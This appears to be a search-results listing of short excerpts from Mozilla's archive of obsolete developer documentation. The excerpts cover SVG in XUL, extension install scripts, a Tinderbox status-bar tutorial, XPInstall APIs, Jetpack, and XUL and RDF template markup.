...ml" xmlns:svg="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink"> <body> <p>hello</p> <svg:svg version="1.1" baseprofile="full" width="150" height="150"> <svg:rect x="10" y="10" width="100" height="100" fill="red"/> <svg:circle cx="50" cy="50" r="30" fill="blue"/> </svg:svg> <p>world</p> </body> </html> embedding into xul make sure you use the right namespace when embedding <?xml version="1.0"?> <?xml-stylesheet href="chrome://global/skin/" type="text/css"?> <window xmlns="http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul" xmlns:svg="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink"> <!-- xul and svg go here --> </window> example: <?xml version="1.0"?> <?xml-styleshee...
...t href="chrome://global/skin/" type="text/css"?> <window xmlns="http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul" xmlns:svg="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink"> <vbox> <label value="hello"/> <svg:svg version="1.1" baseprofile="full" width="150" height="150"> <svg:rect x="10" y="10" width="100" height="100" fill="red"/> <svg:circle cx="50" cy="50" r="30" fill="blue"/> </svg:svg> <label value="world"/> </vbox> </window> ...
SVG General - Archive of obsolete content
svg template here is a basic markup template to start building an svg document: <svg xmlns="http://www.w3.org/2000/svg"> <!-- svg elements go here --> </svg> note: it is recommended that you do not use dtd's with svg documents.
...here is the script: var svgns = "http://www.w3.org/2000/svg"; var xlinkns = "http://www.w3.org/1999/xlink"; var attr_map = { "classname": "class", "svghref": "href" } var ns_map = { "svghref": xlinkns }; function makesvg(tag, attributes) { var elem = document.createelementns(svgns, tag); for (var attribute in attributes) { var name = (attribute in attr_map ?
...here are some examples of using it: var circle = makesvg("circle", {id: "circle1", cx: "60", cy: "60", r: "50"}); var img = makesvg("image", {id: "img1", x: "110", y: "110", width: "100", height: "100", svghref: "bubbles.png"}); var text = makesvg("text", {id: "text1", x: "60", y: "60"}); text.textcontent = "hello world"; ...
Appendix B: Install and Uninstall Scripts - Archive of obsolete content
window.addeventlistener( "load", function() { xulschoolchrome.browseroverlay.init(); }, false); then all we need is some persistent flag that ensures that the first run code is only run once.
...so, if we were to use fuel, we can do the following in the init function: init : function() { let firstrunpref = "extensions.xulschoolhello.firstrundone"; if (!application.prefs.getvalue(firstrunpref, false)) { application.prefs.setvalue(firstrunpref, true); // all the rest of the first run code goes here.
...in the case of "traditional" extensions, like those explained in the tutorial, both steps happen at different times.
Performance best practices in extensions - Archive of obsolete content
for example, bug 719601 featured a "system principal" javascript compartment containing 100s of mbs of memory, which is much larger than usual.
... avoid writing slow css read the "writing efficient css" guide.
...avoid unqualified ":hover" like the plague.
Security best practices in extensions - Archive of obsolete content
give the element a type="content" attribute, which essentially sandboxes the code there and blocks callback rights into chrome.
...when users clear logins using the "clear recent history" option, it will include your extension's data.
... non-chrome urls in chrome xul or html such as the following example are not allowed: <script type="text/javascript" src="http://mysite.greatsite.com/js/wow-content.js" /> in general, scripts that are from remote sources that run in the chrome context are not acceptable, as many times the source of the script can never be 100% guaranteed, and they are vulnerable to man-in-the-middle attacks.
An Interview With Douglas Bowman of Wired News - Archive of obsolete content
by default, all links to screen media css files are explicitly declared as "screen" media instead of "all" media.
...since we had a separate template to work with, we changed the media attribute of the linked print style sheet to "all", and eliminated the links to normal screen media files.
... if the answer to one or more of those questions is "yes," chances are, you could be ripe to make the leap.
Visualizing an audio spectrum - Archive of obsolete content
<!doctype html> <html> <head> <title>javascript spectrum example</title> </head> <body> <audio id="audio-element" src="song.ogg" controls="true" style="width: 512px;"> </audio> <div><canvas id="fft" width="512" height="200"></canvas></div> <script> var canvas = document.getelementbyid('fft'), ctx = canvas.getcontext('2d'), channels, rate, framebufferlength, fft; function loadedmetadata()...
... fft.prototype.forward = function(buffer) { var buffersize = this.buffersize, costable = this.costable, sintable = this.sintable, reversetable = this.reversetable, real = this.real, imag = this.imag, spectrum = this.spectrum; if ( buffersize !== buffer.length ) { throw "supplied buffer is not the same size as defined fft.
... fft size: " + buffersize + " buffer size: " + buffer.length; } for ( var i = 0; i < buffersize; i++ ) { real[i] = buffer[reversetable[i]]; imag[i] = 0; } var halfsize = 1, phaseshiftstepreal, phaseshiftstepimag, currentphaseshiftreal, currentphaseshiftimag, off, tr, ti, tmpreal, i; while ( halfsize < buffersize ) { phaseshiftstepreal = costable[halfsize]; phaseshiftstepimag = sintable[halfsize]; currentphaseshiftreal = 1.0; currentphaseshiftimag = 0.0; for ( var fftstep = 0; fftstep < halfsize; fftstep++ ) { i = fftstep; while ( i < buffersize )...
Autodial for Windows NT - Archive of obsolete content
the "correct" way too use the autodial feature in nt-based oss is for the user to configure the system to use the autodial service.
..."what's a system service" they might ask when told about how autodial is supposed to work now.
...select "dial whenever a network connection is not present" or "always dial my default connection".
Locked config settings - Archive of obsolete content
the encoding is a simple "byte-shifting" with an offset of 13 (netscape 4 used a similar encoding, but with a of 7 instead).
... this file also needs to be "called" from c:\program files\mozilla.org\mozilla\defaults\pref\all.js by appending the following line at the end: pref("general.config.filename", "mozilla.cfg"); note: newer versions of mozilla or firefox store the all.js file in greprefs rather than defaults\pref the moz-byteshift.pl script allows to encode...: moz-byteshift.pl -s 13 <mozilla.cfg.txt >mozilla.cfg ...
...} catch(e) { displayerror("test", e); } clear text configuration if you don't care about encoding the mozilla.cfg file, append this config to all.js instead : pref("general.config.obscure_value", 0); pref("general.config.filename", "mozilla.cfg"); ...
Protecting Mozilla's registry.dat file - Archive of obsolete content
in other windows versions, internet explorer (which is hard to kick off completely) likes to install "personnalized settings" when the user logs in for the first time, and this seems to have the interesting "side-effect" of wiping any non-microsoft subfolders from %userprofile%\application data, including mozilla's .
...moreover, it's advisable to "protect" the mozilla registry using attrib +r +s in case the logon script is finished before ie's "personnalized settings" have completed their dirty deed...
... in summary, you can use the following series of commands in your logon script (usually stored in /home/samba/netlogon/startup.bat on the server): rem ================================================== rem mozilla rem ================================================== attrib -r -s "%userprofile%\application data\mozilla" >nul 2>nul attrib -r -s "%userprofile%\application data\mozilla\registry.dat" >nul 2>nul mkdir "%userprofile%\application data" >nul 2>nul mkdir "%userprofile%\application data\mozilla" >nul 2>nul copy /b \\server\netlogon\template\"application data"\mozilla\registry.dat "%userprofile%\application data\mozilla" >nul 2>nul attrib +r +s "%userprofile%\application data\mozilla" >nul 2>nul attrib +r +s "%userprofile%\application data\mozilla\registry.dat" >nul 2>nul regedit /s...
Adding the structure - Archive of obsolete content
<statusbar id="status-bar" class="chromeclass-status" ondragdrop="nsdraganddrop.drop(event, contentareadndobserver);"> <statusbarpanel id="component-bar"/> <statusbarpanel id="statusbar-display" label="&statustext.label;" flex="1"/> <statusbarpanel class="statusbarpanel-progress"> <progressmeter class="progressmeter-statusbar" id="statusbar-icon" mode="normal" value="0"/> </statusbarpanel> <statusbarpanel class="statusbarpanel-iconic" id="tinderbox-status" status="none"/> <statusbarpanel class="statusbarpanel-iconic" id="offline-status"/> <statusbarpanel c...
...lass="statusbarpanel-iconic" id="security-button" onclick="browserpageinfo(null, 'securitytab')"/> </statusbar> the statusbar xul element defines a horizontal status bar where informative messages about an application's state can be displayed.
..."done" in mozilla when a document finishes loading) and graphical messages (f.e.
Enabling the behavior - updating the status bar panel - Archive of obsolete content
function updatetinderboxstatus() { var icon = document.getelementbyid('tinderbox-status'); if (gxmlhttprequest.responsetext.match("ee0000")) icon.setattribute("status", "busted"); else if (gxmlhttprequest.responsetext.match("ffaa00")) icon.setattribute("status", "testfailed"); else if (gxmlhttprequest.responsetext.match("11dd11")) icon.setattribute("status", "success"); else icon.setattribute("status", ""); } updatetinderboxstatus() retrieves a reference to the statusbarpanel element then searches through the retrieved html document (stored in the responsetext property of the xmlhttprequest instance) for one of several color references.
...the color orange ("ffaaoo") means a client successfully built mozilla, but the build failed tests.
... the color green ("11dd11") means the client successfully built and tested mozilla.
Enabling the behavior - updating the status periodically - Archive of obsolete content
function loadtinderboxstatus() { gxmlhttprequest = new xmlhttprequest(); gxmlhttprequest.onload = updatetinderboxstatus; gxmlhttprequest.open("get", "http://tinderbox.mozilla.org/seamonkey/panel.html"); gxmlhttprequest.send(null); window.settimeout(loadtinderboxstatus, 60000); } window.settimeout(loadtinderboxstatus, 1000); window.settimeout schedules functions to run at some future time.
... <!-- navigator --> <script type="application/javascript" src="chrome://navigator/content/browser.js"/> <script type="application/javascript" src="chrome://navigator/content/navigator.js"/> <script type="application/javascript" src="chrome://navigator/content/navigatordd.js"/> <script type="application/javascript" src="chrome://navigator/content/sessionhistoryui.js"/> <script type="application/javascript" ...
... src="chrome://navigator/content/tinderstatus.js"/> <!-- hook for stringbundle overlays --> ...
Specifying the appearance - Archive of obsolete content
for this we have to first create four icons, one for each tinderbox state (none, success, test failed, and busted), then create a set of css rules that displays the icon corresponding to the current tinderbox state: statusbarpanel#tinderbox-status { list-style-image: url("chrome://navigator/content/tb-nostatus.png"); } statusbarpanel#tinderbox-status[status="success"] { list-style-image: url("chrome://navigator/content/tb-success.png"); } statusbarpanel#tinderbox-status[status="testfailed"] { list-style-image: url("chrome://navigator/content/tb-testfailed.png"); } statusbarpanel#tinderbox-status[status="busted"] { list-style-image: url("chrome://navigator/content/tb-...
...busted.png"); } mozilla can have multiple sets of stylesheets that govern its appearance, and we don't want to have to add these rules to each set (and have our extension break when a new set gets installed), so we'll put this stylesheet in a file called tinderstatus.css in the same directory as navigator.xul and reference it at the top of that file right under the global stylesheet reference: <?xml-stylesheet href="chrome://navigator/skin/" type="text/css"?> <?xml-stylesheet href="chrome://navigator/content/tinderstatus.css" type="text/css"?> our css rules use the list-style-image property to define an image to appear when our status bar panel, identified by its id attribute, has a given value for its status attribute.
...if you restart mozilla now you should see the "no status" icon appear in the browser's status bar.
contents.rdf - Archive of obsolete content
copy the following text and paste it into a text file, then save that file as "contents.rdf": <?xml version="1.0"?> <rdf:rdf xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#" xmlns:chrome="http://www.mozilla.org/rdf/chrome#"> <!-- list all the skins being supplied by this theme --> <rdf:seq about="urn:mozilla:skin:root"> <rdf:li resource="urn:mozilla:skin:myskin/1.0" /> </rdf:seq> <rdf:description about="urn:mozilla:skin:myskin/1.0" chrome:displayname="my skin" chrome:accesskey="m" chrome:author="me" chrome:description="this is my custom skin for mozilla" chrome:name="myskin/1.0" chrome:image="preview.png"> <chrome:packages> <rdf:seq about="urn:mozilla:skin:myskin/1.0:packages"> <rdf:li resourc...
...e="urn:mozilla:skin:myskin/1.0:communicator"/> <rdf:li resource="urn:mozilla:skin:myskin/1.0:editor"/> <rdf:li resource="urn:mozilla:skin:myskin/1.0:global"/> <rdf:li resource="urn:mozilla:skin:myskin/1.0:messenger"/> <rdf:li resource="urn:mozilla:skin:myskin/1.0:navigator"/> </rdf:seq> </chrome:packages> </rdf:description> <!-- version information.
...--> <rdf:description chrome:skinversion="1.0" about="urn:mozilla:skin:myskin/1.0:communicator"/> <rdf:description chrome:skinversion="1.0" about="urn:mozilla:skin:myskin/1.0:editor"/> <rdf:description chrome:skinversion="1.0" about="urn:mozilla:skin:myskin/1.0:global"/> <rdf:description chrome:skinversion="1.0" about="urn:mozilla:skin:myskin/1.0:messenger"/> <rdf:description chrome:skinversion="1.0" about="urn:mozilla:skin:myskin/1.0:navigator"/> </rdf:rdf> ...
Layout FAQ - Archive of obsolete content
what are the lowercase items called "line"?
...0010] sc=035ff264(i=2,b=0)< line 035ffc18: count=1 state=inline,clean,prevmarginclean,not impacted,not wrapped,before:nobr,after:linebr[0x5100] {0,0,330,300} < inline(span)(0)@035ffa04 next=035ffc48 next-continuation=035ffc48 {0,7,330,285} [content=0359ed50] [sc=035ff990]< text(0)@035ffa8c[0,4,t] next=035ffb1c {0,0,330,285} [state=41600020] sc=035ffa3c pst=:-moz-non-element< "\nabc" > frame(br)(1)@035ffb1c {330,225,0,0} [state=00000020] [content=035aebf0] > > the linebox is used to contain everything on a single line: example how do you fix inconsistent float behavior in firefox involving a two column layout using display:table and floating div elements?
...you can work around it by removing display:table in the style rule with the "#main" selector or adding clear:both to it.
GRE - Archive of obsolete content
the xre project, which means "xul runtime environment", has been replaced by xulrunner.
... mozilla suite: the old gre there are two different forms for the gre: the "old" gre was part of the mozilla application suite.
... statically link to xpcomglue.lib (the "standalone glue") the solution is to statically link against xpcomglue.lib, also known as the "standalone glue" (see xpcom glue).
Helper Apps (and a bit of Save As) - Archive of obsolete content
helper app dialog this is our implementation of nsihelperapplauncherdialog it calls back to the nsexternalapphandler to let it know what the user picked saving to disk if a user decides to "save to disk", we just move/copy the temporary file over to the chosen location once the download completes.
... limitations of nsimimeinfo no way to say "do whatever the os default is." no support for command-line arguments.
... have a way for users to override things in the "not overridable" built-in list.
Basics - Archive of obsolete content
stringthe message to add to the consolestring console.log("hello world!"); arn()this method does stuff.
... titlethe head of the notification message.string bodythe messagestringfalse iconthe url of an .ico file.string jetpack.notifications.show("hello world");var mybody = " my first message body on jetpack";var myicon = "http://www.mozilla.com/favicon.ico";jetpack.notifications.show({title: "my first message on jetpack", body: mybody, icon: myicon}); class tabs in this class you can find information about the tabs in your firefox window.
... urlurl to be openedstring jetpack.tabs.open("http://www.example.com/"); ...
Twitter - Archive of obsolete content
example: jetpack.lib.twitter.statuses.update({ data: { status: "o frabjous day!" }, username: "basic_auth_username", password: "basic_auth_password", success: function () console.log("hey!") }); user authentication you can supply a username and password to methods that require authentication using the second, more advanced call style described above.
... example usage tweeting jetpack.lib.twitter.statuses.update({ status: "o frabjous day!" }); firefox will prompt for a username and password if the user is not already authenticated with twitter.
... user info jetpack.lib.twitter.users.show({ id: "mozlabs", success: function (data, status) console.log(data.tosource()), error: function (xhr, errmsg, errobj) console.error(xhr.responsetext) }); friends of a user jetpack.lib.twitter.statuses.friends({ id: "mozlabs", page: 3, success: function (data, status) console.log(data.tosource()), error: function (xhr, errmsg, errobj) console.error(xhr.responsetext) }); trends jetpack.lib.twitter.trends({ success: function (data, status) console.log(data.tosource()), error: function (xhr, errmsg, errobj) console.error(xhr.responsetext) }); searching jetpack.lib.twitter.search({ q: "#jetpack", lang: "ja", rpp: 10, page: 5, since_id: 1337, success: function (data, status) console.log(data.tosource()), error: function ...
First run - Archive of obsolete content
visit my <a href="http://example.com/myjetpack">homepage</a>.</p>' }; this does the same but uses e4x xml: var manifest = { firstrunpage: <> <p> thanks for installing!
... visit my <a href="http://example.com/myjetpack">homepage</a>.
... </p> </> }; in this example, the page at http://example.com/myjetpack becomes the first-run page: var manifest = { firstrunpage: "http://example.com/myjetpack" }; first-run callback you can register a callback that will be called after your jetpack has been successfully installed.
First Run - Archive of obsolete content
visit my <a href="http://example.com/myjetpack">homepage</a>.</p>' }; this does the same but uses e4x xml: var manifest = { firstrunpage: <> <p> thanks for installing!
... visit my <a href=//example.com/myjetpack">homepage</a>.
... </p> </> }; in this example, the page at [http://example.com/myjetpack] becomes the first-run page: var manifest = { firstrunpage: "http://example.com/myjetpack" }; first-run callback you can register a callback that will be called after your jetpack has been successfully installed.
Settings - Archive of obsolete content
the user can open this interface from the "settings" button next to your jetpack on the "installed features" tab of the about:jetpack page.
... here is an example manifest definition: var manifest = { settings: [ { name: "twitter", type: "group", label: "twitter", settings: [ { name: "username", type: "text", label: "username" }, { name: "password", type: "password", label: "password" } ] }, { name: "facebook", type: "group", label: "facebook", settings: [ { name: "username", type: "text", label: "username", default: "jdoe" }, { name: "password", type: "password", label: "secret" } ] }, { name: "music", type: "boolean", label: "music", default: true }, { name: "volume", type: "range", label: "volume", min: 0, max: 10, default: 5 } ] }; // import after defining manifest!
... jetpack.future.import("storage.settings"); this definition will result in a user interface with an input field for each setting defined above.
Microsummary topics - Archive of obsolete content
for example, the following code snippet installs the microsummary generator from the creating a microsummary tutorial: var generatortext = ' \ <?xml version="1.0" encoding="utf-8"?> \ <generator xmlns="http://www.mozilla.org/microsummaries/0.1" \ name="firefox download count" \ uri="urn:{835daeb3-6760-47fa-8f4f-8e4fdea1fb16}"> \ <template> \ <transform xmlns="http://www.w3.org/1999/xsl/transform" version="1.0"> \ <output method="text"/> \ <template match="/"> \ <value-of select="id(\'downl...
...oad-count\')"/> \ <text> fx downloads</text> \ </template> \ </transform> \ </template> \ <pages> <include>http://(www\.)?spreadfirefox\.com/(index\.php)?</include> </pages> </generator> \ '; var domparser = components.classes["@mozilla.org/xmlextras/domparser;1"].
... createinstance(components.interfaces.nsidomparser); var generatordoc = domparser.parsefromstring(generatortext, "text/xml"); var microsummaryservice = components.classes["@mozilla.org/microsummary/service;1"].
Overview of how downloads work - Archive of obsolete content
one way is to encounter a file with an unknown content type, the other is to choose "save link target as" from the context menu of a link.
...click on the images to display them "stand-alone" in the browser, which may resize them to fit the browser window.
...get the .dia file here: mozilla_downloads.dia downloads via "save link target as" and friends this diagram is an uml sequence diagram, and was created using dia.
Priority Content - Archive of obsolete content
if you would like to sign up to do the migration of any of these works, just "edit" this page and add your name to the "migrators" list for the piece.
...keller mostly completed*: rich-text editing in mozilla 1.3 "mostly completed" means i'm waiting for a location to store example and source files which are required for demoing the information in the articles.
... migrators: joel coreson note: the article links some external example files, not sure how to migrate them (perhaps via "upload file" function that's normally used for images?) also check if any extra files live in the article's directory --jens.b 14:07, 26 apr 2005 (pdt) dependant on: mostly completed*: class xbdesignmode / devedge - joel coreson please put completed articles on the devedge page instead.
Table Layout Regression Tests - Archive of obsolete content
while the information on the layout debugger is still useful, the testing information is much less relevant now than it has been, as the "rtest" testing framework described here has been superseded by the reftest framework.
...a typical beginning of a dump (*.rgd file) looks like: <frame va="15022440" type="viewport(-1)" state="270340" parent="0"> <view va="47171904"> </view> <stylecontext va="15022232"> <font serif 240 240 0 /> <color data="-16777216"/> <background data="0 2 3 -1 0 0 "/> <spacing data="left: null top: null right: null bottom: null left: null top: null right: null bottom: null left: 1[0x1]enum top: 1[0x1]enum right: 1[0x1]enum bottom: 1[0x1]en...
...um left: null top: null right: null bottom: null left: null top: null right: null bottom: null 1[0x1]enum 0" /> <list data="100 100 " /> <position data="left: auto top: auto right: auto bottom: auto auto 0[0x0]tw null auto 0[0x0]tw null 0 auto " /> <text data="0 0 0 normal normal 0[0x0]tw normal " /> <textreset data="0 10[0xa]enum " /> <display data="0 1 0 0 0 0 0 0 0 0 0 0 " /> <visibility data="0 1 1.000000" /> <table data="0 0 4 -1 1 " /> <tableborder data="1 null null 0 2 " /> <content data="0 0 0 null " /> <quotes data="0 " /> <ui data="3 0 0 1 " /> <uireset data="7 0 4" /> <xul data="0 0 0 0 0 1 <svg data="0 1.000000 1.000000 0 1.000000" /> </stylecontext> the baseline log will look like: type manifest fil...
Running Tamarin acceptance tests - Archive of obsolete content
to run acceptance tests on the android shell see the "testing the android shell" heading below.
...adb shell "ls /" is a good test to see if connected.
...if you have more than 1 phone connected to usb, use "adb -s " for each phone.
Using cross commit - Archive of obsolete content
getting the script "make -f client.mk pull_all" from a working copy of the trunk now pulls cross-commit, and that'll work on the 1.8 branch soon, too, so you might already have the script.
... using the script quick overview there are a couple of common ways to use cross-commit: land something simultaneously on the trunk and mozilla_1_8_branch # modify the files (probably by applying the patch) patch -p0 < ~/caret.patch # commit on trunk and branch at once # make sure to use -m "commit message" when doing so tools/cross-commit -m "fix some sort of security bug" layout/base/nscaret.h land something on two other branches that has already landed on the trunk # update to the first branch you want to land on cvs update -rmozilla_1_8_branch layout/base/nscaret.h # modify the files (probably by applying the patch) patch -p0 < ~/caret.patch # commit on all the branches...
... at once # make sure to use -m "commit message" when doing so tools/cross-commit --moz18 --branch mozilla_1_8_0_branch -m "fix some sort of security bug" layout/base/nscaret.h notes note that you must use a -m option with a cvs checkin message.
Using gdb on wimpy computers - Archive of obsolete content
type "show copying" to see the conditions.
...type "show warranty" for details.
... this gdb was configured as "i386-redhat-linux"...
Binding Attachment and Detachment - Archive of obsolete content
input[type="checkbox"] { -moz-binding: url("http://www.mozilla.org/xbl/htmlbindings.xml#checkbox"); } bindings attached through css will only remain on the bound element as long as the element continues to match the style rule.
... var checkbox = document.getelementbyid("mycheckbox"); checkbox.style.mozbinding = "url(http://www.mozilla.org/xbl/htmlbindings.xml#checkbox)"; this attachment is not necessarily synchronous.
...in other words, a removal of element.style.mozbinding will remove the same group of bindings that were installed via the original call to element.style.mozbinding = "url(...)".
XML in Mozilla - Archive of obsolete content
avascript object trees (jxon) other supported xml w3c recommendations specification or technology documentation xhtml w3c recommendation xml base w3c recommendation xlink (simple xlinks only) obsolete since gecko 2.0 w3c recommendation fixptr obsolete since gecko 1.9.1 w3c "proposal" xpointer framework obsolete since gecko 1.9.1 w3c recommendation xpointer element() scheme obsolete since gecko 1.9.1 w3c recommendation xpointer xmlns() scheme obsolete since gecko 1.9.1 w3c recommendation xpointer fixptr() scheme obsolete since gecko 1.9.1 this scheme is simply a wrapper for fixptr ...
...add this line: pref("layout.selectanchor", true); dom load and save methods document.load() is a part of an old version of the w3c dom level 3 load & save module.
...we also have the "xhtml" keyword for xhtml bugs (these tend to be scattered across components).
Install Wizards (aka: Stub Installers) - Archive of obsolete content
an installer package is an archive file (called xpi--pronounced "zippies"--because of its .xpi extensions) in phil katz zip format.
...subsequently, when users click the "install" button the install wizard downloads and installs only the selected software packages.
...the stub installer calls some glue code: xpistub which resides at: < http://lxr.mozilla.org/seamonkey/sou...pinstall/stub/> this "glue" code initialized xpcom and registers the xpinstall engine and requisite components to prepare for use by the stub installer.
addDirectory - Archive of obsolete content
version an installversion object or a string of up to four integer values delimited by periods, such as "1.17.1999.1517".
... xpisourcepath a string specifying the location of the directory within the xpi file.an empty string ("") causes the creation of a subdirectory node in the registry without actually unpacking any files, which may be useful when you are updating a package that contains subcomponents that could also be updated separately.
... subdir the name of a directory to append to localdirspec, using '/' as the path separator regardless of the platform.if subdir is missing, null, or "", the filenames are appended directly to the folder name specified by localdirspec.
execute - Archive of obsolete content
the following line, for example, passes the "-c" command-line parameter to the executable: err = file.execute(myfile, "-c", true); when you want to pass more than one parameter to the executable itself, however, you must format the args string in a particular way so that the parameters can be broken up and passed separately as required.
... quotes that are escaped, or "backslashed," are passed through the executable intact.
... this means that in order to pass three command-line arguments (-c, -d, and -s) to the executable, you should format the args string as follows: err = file.execute(myfile, '"-c""-d""-s"', true); //technically, given the rules above, you could also pass the same //arguments with the following line, but the result is much less //readable: err = file.execute(myfile, "\"-c\"\"-d\"\"-s\"", true); also see the note about binaries on the macintosh platform in addfile.
registerChrome - Archive of obsolete content
for example, "locale/mylocale/aim," points to the locale/mylocale/aim subdirectory of the same xpi file in which the installation script is located.
...it is unclear what, if anything, does this "chrome registration" accomplish.
... registerchrome( package | delayed_chrome, getfolder("plugins"), "resources"); ...
Properties - Archive of obsolete content
startsoftwareupdate("http://webserver/argstest.xpi?argument_string") will result in the value of install.arguments being argument_string #).
...note that due to branching (different versions of gecko with different feature sets might be built on the same day), using this property to "detect" the application version may produce false results.
...for example, the value could begin with "windows", "macintosh" or "x11" (for unix/linux).
onpopuphidden - Archive of obsolete content
example: <menupopup id="top" onpopuphidden="console.log('the onpopuphidden method of id=top was called.');"> <menuitem label="item 1"/> <menuitem label="item 2"/> <menu id="submenu1" label="submenu 1"> <menupopup id="submenu1-popup"> <menuitem label="submenu1 item 1"/> <menuitem label="submenu1 item 2"/> </menupopup> </menu> <menu id="submenu2" label="submenu 1"> <menupopup id="submenu2-popup"> <menuitem label="submenu2 item 1"/> <menuitem label="subme...
...nu2 item 2"/> </menupopup> </menu> <menupopup/> with the above structure, the onpopuphidden method of <menupopup id="top"> will be called every time either <menupopup id="submenu1-popup"> or <menupopup id="submenu2-popup"> are hidden.
... you can test for the current popup actually being hidden with: <menupopup id="top" onpopuphidden="if(this.state != 'open'){console.log('the onpopuphidden method of id=top was called.');};" > ...
panel.flip - Archive of obsolete content
an arrow panel can also specify a value of slide, which causes the arrow to "slide" instead of flipping when the panel doesn't have room.
... in this image, the panel has flip="slide" and has a width which is greater than the distance from the anchor to the right of the screen (or window), so the panel extends past the left of the anchor, and the arrow slides towards the middle of the panel such that it is still aligned with the anchor.
... without flip="slide", the panel would have had its width truncated and the panel would not extend to the left of the anchor.
reserved - Archive of obsolete content
setting this attribute to "true" indicates that the command is reserved for chrome code and is not available for use in the content.
... example here, the command to open a new browser window is reserved: <command id="cmd_newnavigator" oncommand="openbrowserwindow()" reserved="true"/> if the keyboard shortcut for that is accel-t, then this code will not work as expected, as compared to when it is run from web content: document.addeventlistener("keydown", handlekey, true); function handlekey(event) { // listen for the "new tab" shortcut if (event.metakey && (event.key == "t")) { // log a message ...
... console.log("intercepted accel-t"); // prevent the default browser action event.preventdefault(); event.stoppropagation(); } } currently, this event handler as coded above runs and logs the message, but the default behavior persists.
treecol.type - Archive of obsolete content
if you are using type="checkbox", then the tree and each treecol must be editable.
...*/ list-style-image: url("chrome://global/skin/checkbox/cbox-check.gif"); } treechildren::-moz-tree-checkbox(disabled) { /* disabled checkbox treecells.
...*/ list-style-image: url("chrome://global/skin/checkbox/cbox-check-dis.gif"); } see also type ...
Deprecated and defunct markup - Archive of obsolete content
ck> can now do as well) <gripper> (inside of <scrollbar><thumb>; not to be used by itself) <listboxbody> (internal use only; part of xbl for <listbox>) <menubutton> (experiment in combining buttons and menus; use <button type> instead) <nativescrollbar> (displayed a native scrollbar; had been for mac only with native themes on) <outliner> (former name for <tree>; <listbox> had been "<tree>") <popup> (use menupopup) <package> (no longer present but in older documentation) <scrollbarbutton> (button at end of scrollbar; had been only within larger <scrollbar>) so, not deprecated, but internal use only?
...n <scrollbar> which holds <thumb>; do not use alone) also used as part of <scale> --neil 03 march 2011 <spinner> (spinbox; <spinbuttons> with a textbox whereby spinning affects value in textbox; not usable) <spring> (use @flex instead) <strut> (replaced by @debug?) <tabcontrol> (contained tabbox and tabpanel) <text> (like <label> or <description> but does not wrap; like <label crop="end">; had been used in menus/toolbars) <textfield> (like <textbox>) <thumb> (<button> with deprecated <gripper>; implements sliding box in center of scrolbar) <title> (to add a caption on a <titledbox> <titledbox> (box with a frame) <titledbutton> (attempt to combine text and images before <button>) <toolbarpaletteitem> required to embed non-buttons in customisable toolbars --ne...
...ly; part of xbl for <tree>) <treefoot> (old/experimental and unsupported xul tags) <treeindentation> (old/experimental and unsupported xul tags) was a part of the old <tree> that predated <outliner> that was not converted to <listbox>--neil 03 march 2011 <treeicon> (old/experimental and unsupported xul tags) <treerows> (internal use only; part of xbl for <tree>) attributes @debug="true" provided struts and springs around boxes to facilitate identification of flex issues but does not seem to work now you need a special debug_layout build --neil 03 march 2011 references xul element reference by neal deakin rapid application development with mozilla, by nigel mcfarlane ...
Floating Panels - Archive of obsolete content
a floating panel can be created using the panel element with at least two additional attributes as in the following example: <panel id="tools-panel" noautohide="true" titlebar="normal"> <label control="name" value="name:"/> <textbox id="name"/> </panel> the noautohide attribute is used to indicate that the panel is not temporary.
...a label for the titlebar may be set using the label attribute, as in the following example: <panel id="info-panel" noautohide="true" titlebar="normal" label="image properties"> closing a floating panel unlike other panels, a floating panel does not close when clicking outside of it.
...<panel id="info-panel" noautohide="true" titlebar="normal" label="image properties" close="true"> the hidepopup method may be used to manually close a popup.
currentIndex - Archive of obsolete content
you cannot rely on this property to change or determine a tree selection, except for trees with seltype="single".
... (all trees have seltype="multiple" by default.) to reliably change or determine a selection, instead use the nsitreeselection interface methods available via tree.view.selection.
...<script language ="javascript"> function treerowclicked(){ var tree = document.getelementbyid("my-tree"); var selection = tree.view.selection; var celltext = tree.view.getcelltext(tree.currentindex, tree.columns.getcolumnat(0)); alert(celltext); } </script> <tree id="my-tree" seltype="single" onselect="treerowclicked()"> <treecols> <treecol label="title" flex="1"/><treecol label="url" flex="1"/> </treecols> <treechildren> <treeitem> <treerow> <treecell label="joe@somewhere.com"/> <treecell label="top secret plans"/> </treerow> </treeitem> <treeitem> <treerow> <treecell label="mel@whereever.com"/> <treecell label="let's do lunch"/> </tr...
Bindings - Archive of obsolete content
<query> <content uri="?start"/> <member container="?start" child="?photo"/> <triple subject="?photo" predicate="http://purl.org/dc/elements/1.1/title" object="?title"/> <triple subject="?photo" predicate="http://purl.org/dc/elements/1.1/description" object="?description"/> </query> it works similarly to the previous triple.
... <rdf:description rdf:about="http://www.xulplanet.com/ndeakin/images/t/palace.jpg" dc:title="palace from above"/> dc:description="view from the top of the tower looking east of the doges palace"/> if you try a full example based on this data, you will notice that only one result has been generated.
... </query> <rule> <binding subject="?photo" predicate="http://purl.org/dc/elements/1.1/description" object="?description"/> <action> ...
Containment Properties - Archive of obsolete content
<vbox datasources="template-guide-ex1.rdf" ref="http://www.xulplanet.com/rdf/a" containment="http://www.xulplanet.com/rdf/relateditem"> <template> <rule> <label uri="rdf:*" value="rdf:*"/> </rule> </template> </vbox> instead of iterating over a container, this example iterates over a specific predicate.
...the only difference between this and the previous example is a a couple of additional lines added to the rdf/xml: <rdf:seq rdf:about="http://www.xulplanet.com/rdf/a"> <rdf:li rdf:resource="http://www.xulplanet.com/rdf/e"/> <rdf:li rdf:resource="http://www.xulplanet.com/rdf/f"/> </rdf:seq> the effect is that there are five results instead of three.
...<vbox datasources="template-guide-ex3.rdf" ref="http://www.xulplanet.com/rdf/a" containment="http://www.xulplanet.com/rdf/relateditem"> <template> <query> <content uri="?start"/> <member container="?start" child="?child"/> </query> <action> <label uri="?child" value="?child"/> </action> </template> </vbox> try this example.
Introduction - Archive of obsolete content
here is an example: <vbox datasources="http://www.xulplanet.com/ds/sample.rdf" querytype="rdf"> this example specifies the datasource 'http://www.xulplanet.com/ds/sample.rdf', using the datasource type rdf as indicated by the querytype attribute'.
...for example: <listbox datasources="http://www.xulplanet.com/ds/sample.xml" querytype="xml"> <template> <listitem label="?name"/> </template> </listbox> this template uses an xml datasource to generate a listbox.
